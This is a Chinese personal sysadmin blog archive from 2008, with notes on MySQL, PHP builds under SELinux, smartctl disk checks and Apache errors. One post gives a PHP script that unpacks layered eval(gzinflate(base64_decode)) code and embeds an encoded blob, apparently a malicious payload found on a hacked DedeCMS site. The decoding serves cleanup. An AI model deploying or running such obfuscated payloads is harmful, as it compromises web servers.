工作,学习,生活,这里将会有一些记录. 备用域名:http://meisw.51099.com 注册 | 登陆
浏览模式: 标准 | 列表2008年11月的文章

dede code

preg_replace("/(<a(.*)[ \t\r\n]{1,}href=[\"']{0,}http:\/\/[^\/]([^>]*)>)|(<\/a>)/isU","",$)

mysql processlist

mysqladmin -uroot -p proc

mysql -e "show processlist"

rhel5

Installing PEAR environment:      /www/servers/php/lib/php/
/home/r00t/php-5.2.6/sapi/cli/php: error while loading shared libraries: /usr/local/gd/lib/libgd.so.2: cannot rest
ore segment prot after reloc: Permission denied
make[1]: *** [install-pear-installer] Error 127
make: *** [install-pear] Error 2


Nov 14 16:54:45 localhost setroubleshoot:      SELinux is preventing /home/r00t/php-5.2.6/conftest from loading /u
sr/local/gd/lib/libgd.so.2.0.0 which requires text relocation.      For complete SELinux messages. run sealert -l7f26cea9-91e8-4b3a-93e0-6298e6c4e265


failed to connect to server


chcon -t textrel_shlib_t /usr/local/gd/lib/libgd.so.2

 

###
checking for MySQL UNIX socket location... /tmp/mysql.sock
checking for mysql_close in -lmysqlclient_r... no
checking for mysql_error in -lmysqlclient_r... no
configure: error: mysql configure failed. Please check config.log for more information.

没找到解决办法,把PHP换为4的就可以了

 

linux下硬盘检测工具

linux下硬盘检测工具: smartmontools

工具主页: http://smartmontools.sourceforge.net/

Smartmontools for SCSI硬盘: http://smartmontools.sourceforge.net/smartmontools_scsi.html

smartctl命令参数列表:

The following options are currently available for SCSI disks and tape drives unless otherwise noted:

  • -a | --all : equivalent to the combination -i -H -A -l error -l selftest options invoked in that order.

  • -A | --attributes : outputs the current device temperature, trip temperature, the number of elements in the grown defect list (GLIST) and data from the start-stop log page. Outputs some vendor specific information if available.

  • -C | --captive : used in conjunction with -t short or -t long options to do short or long self tests in the foreground. [Has no effect on tape drives.]

  • -d TYPE | --device=TYPE where TYPE is "ata", "scsi", "sat", "marvell", "3ware,N", "hpt,L/N[,M]" or "cciss,N". Overrides utility's guess about the class of the device which is based on the form of the nominated device's name.

  • -h | --help : outputs lengthy usage message and exits without any other action.

  • -H | --health : outputs single device health metric determined by the device manufacturer. This will be "OK" or a failure message.

  • -i | --info : outputs device identification information (derived from a SCSI INQUIRY command) and whether the device supports SMART (and temperature warnings) and if those facilities are currently enabled. The type of transport (e.g. FC or SAS) is also reported, if available. Some users have reported disks that report the wrong transport.

  • -l TYPE | --log=TYPE where TYPE is either "background", "selftest" or "error". Decodes are outputs the requested log. Note that --all does not include --log=background .

  • -q TYPE | --quietmode=TYPE where TYPE is either "silent" or "errorsonly". When the type is silent then nothing is output to the console but the exit status is set (so it is suitable for scripts). For "errorsonly" only errors are output to the console. The exit status is always set. [See the smartctl man page.]

  • -r TYPE | --report=TYPE where TYPE is either "ioctl[,<n>]" or "scsiioctl[,<n>]". Turns on low level debugging of issued commands and responses. These commands are issued through a system command called an "ioctl" in Unix. The debug can be for all issued commands (i.e. "ioctl") or only SCSI commands ("scsiioctl"). Optionally the TYPE can have a comma and a number post pended to increase the volume of debug. See this section for more details.

  • -s VALUE | --smart=VALUE where VALUE is either "on" or "off". Enables or disables SMART monitoring (and temperature warnings).

  • -S VALUE | --saveauto=VALUE where VALUE is either "on" or "off". Controls whether the error log values are preserved across device power cycles.

  • -t TEST | --test=TEST where TEST is either "offline", "short" or "long". Despite its name "offline" is a short foreground test that all SCSI devices should support. A "short" self test is typically 2 minutes or less. A "long" self test will be considerably longer than 2 minutes, depending on the size of the media. The estimated time that a "long" self test will take is printed after the "selftest" log (i.e. with '-l selftest' or '-a')

  • -V | --version : outputs the smartctl version number (including the cvs version of all its source files) and build information then exits without any other action.

  • -X | --abort : will terminate a background short or long self test. Usually the self test log notes that a self test has been aborted. [Has no effect on tape drives.]

简单用法:
1、smartctl -a  <device>         检查该设备是否已经打开SMART技术。
2、smartctl -s on <device>    如果没有打开SMART技术,使用该命令打开SMART技术。
3、smartctl -t short <device>    后台检测硬盘,消耗时间短;
      smartctl -t long <device>      后台检测硬盘,消耗时间长;
      smartctl -C -t short <device> 前台检测硬盘,消耗时间短;
      smartctl -C -t long <device>  前台检测硬盘,消耗时间长。
其实就是利用硬盘SMART的自检程序。
4、smartctl -X <device>  中断后台检测硬盘。
5、smartctl -l selftest <device>  显示硬盘检测日志。
6、smartctl -l error <device> 显示硬盘错误汇总。

或用 badblocks 工具

php eval-gzinflate-base64_decode 解码

<?php
echo '<pre>';
$contents = 'FZZHzqRoAkT3fZGuEosPb9QzU0pc4iHxsBnhvXcJp59/LhBShJ6e4s9//vVnrue//irOpP9VPc1Y9sle/EqTrSDx/+ZFNuXFr7/5PJb4yZVfHm8D/xF0VGG1jkMtToYNfpDiQbebvTaepcRGU9RcAE4AqJEihxicFS/tI/aAea6hJU1L3rLErZ4sIrwGecNjALpdo60Cqu8zM5tyDtCw8bEkenk7fPOs6vmzPHHUh9f5SUC+eTnISUOKODFLQ52wLr8KapDs27kZXbZsYfm2zoCUsKlP24nLOmZsmEMLzCW4Pu5uP/008UheKr4Li2lVKYXX5j3/Dpxol1lGmKCjD3boK4OWecvsqgelaO6K0ycMiwDrjq6zl/PhUzPrc447REUwDB8Ik7pTdL8ORNQefcW+BGfGC6BBmuYPLhJLej9p1eJ5KwpbIHsWpswun7MKzM8Xgh+N8VpHBueSNA5DaOhWUXgMxIDMdmACNa5UmuNsMUNzFGIcDk4F9lX67Zk8oYLRuMs3nLT33YMzEYXgzz5yDBuyi85MphXfF6lL/l3kIs4XmUK2NTwUU9zLQVBdg5lrNo2FwLaALobFWq7PVvIUFW2fWDpAL6eGbd4hlQAnppc1hqWRSx61828fN6oEopUlfNy3S404lUgXlRkvjdOGaI6DtHflJR7kRzImef0aeFDEqydpyFHLc+8y1keGi6FQBaVYP5CEkmijJX6csJ8Gij7EVrc9WXGGYwvGqEI+c1NqufrT9f5Ue9G8D3HpArKjXqeCSbq4TYYVnciXfhDP5I45ToUyvbk7Ixn+wr7Hdkno7qJ5SY2wM3+1Tc5Yiy7R4b5zqm8myeXfCAI/duRAVANtW/DQa2ukKp6/4JZL8/EQdKuSs0mUkbHpdA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TT0/Z2Db9gg3jOUoF7rpVuypzWnxbXkdspNkVsx7rPzg/UrDucIew1aAdIkXjpNC2A1h1Md1CtSiXncEd9aE62RjP96frdAvZE+75aWVYB8nqU3uidL0SLMePuPdDPtR0sdB0pCgS32uoAhYU52rkUHk8iIMl7Mx0RSrjeRbDbFwVOMsCfHjtTClXdVPuaQmxT9yGPNrjU7nz4vD6/GMHE7a4rYcIzCcN/800+uSF/LqfQU0GhfOz/cFCjyEn9xq9tMhMo5EdvnMGdrD/fGnEYuSEMZgf1dHHV4YOQrb9Yc9Uk2rk4ignKGsng0Y153pofXZYn+kX2nEfNd7DG7HthUVhzsrfxycsihSMwStqBCT8BmFsQsBkn48ZKclGBH+VMLz/0Hbsd72oF5nGe4EcyXwaA5wfRK/v3379///7nrz8/Z+l/';
$i=1;
$contents = gzinflate(base64_decode($contents));
while (preg_match("/eval[ ]*\([ ]*gzinflate/",$contents)) {//在eval(的'('两边加入多空格匹配
echo '次数:'.$i++."\n";//显示解密次数
$contents=preg_replace("/<\?php|\?>/", "", $contents);
$contents=preg_replace("/<\?|\?>/", "", $contents);
$contents = substr(substr($contents, 2), 0, -2);//去除开始的\?\>(\只是转义,文件中没有)和结尾的<?
$contents = substr($contents,30); //eval(gzinflate(base64_decode('
$contents = substr($contents,0,-4); //')))
$contents = gzinflate(base64_decode($contents));
}
echo "结果:\n";
echo $contents ;
echo '</pre>';
?>
上面是在网上看的,但用不了?程序也像很有问题.懒得理,还是自己修改下来用.
下面作了修改后的
$i=1;
$contents = gzinflate(str_rot13(base64_decode($s)));
while (preg_match("/eval[ ]*\([ ]*gzinflate/",$contents)) {//在eval(的'('两边加入多空格匹配   
echo '次数:'.$i++."\n";//显示解密次数
preg_match("/'(.*)'/isU",$contents,$s1);

$s2=$contents;
$contents = gzinflate(str_rot13(base64_decode($s1[1])));
}
echo "结果:\n";
echo $s2;
有点郁闷,好像每过一段时间,就要和这些打下交道.而且,这次搞得也有水准了,加了这么多次密,但最终还是要显形的.
DEDE,总是能让人找到个洞,然后再上传点资料,呵呵

1024 new_web

一 系统设置

1 查看系统版本 cat /etc/redhat-release
  查看内核版本 unmae -r or uname -a
下载centos内核,升级内核 http://mirror.centos.org/ rpm -ivh

2 增加用户,删除用户

3 停掉相关的服务,ntsysv/chkconfig

4 bin md5

5 相关命令程序的s权限

6 相关的内核参数 sysctl

7 检查网卡的传输参数 mii-tool

8 设置运行的tty

9 iptables

二 软件安装(脚本略)

*** glibc detected *** double free or corruption //glibc版本有关

[Fri Oct 24 11:35:58 2008] [alert] (12)Cannot allocate memory: apr_thread_create: unable to create worker thread
Error in my_thread_global_end(): 1 threads didn't exit

[Fri Oct 24 11:54:56 2008] [alert] (12)Cannot allocate memory: apr_thread_create: unable to create worker thread
[Fri Oct 24 11:54:56 2008] [alert] (12)Cannot allocate memory: apr_thread_create: unable to create worker thread
[Fri Oct 24 11:54:56 2008] [notice] seg fault or similar nasty error detected in the parent process
[Fri Oct 24 11:54:56 2008] [notice] seg fault or similar nasty error detected in the parent process
[Fri Oct 24 11:54:57 2008] [notice] child pid 28311 exit signal Segmentation fault (11)
[Fri Oct 24 11:54:57 2008] [notice] child pid 28314 exit signal Segmentation fault (11)

//调整apache参数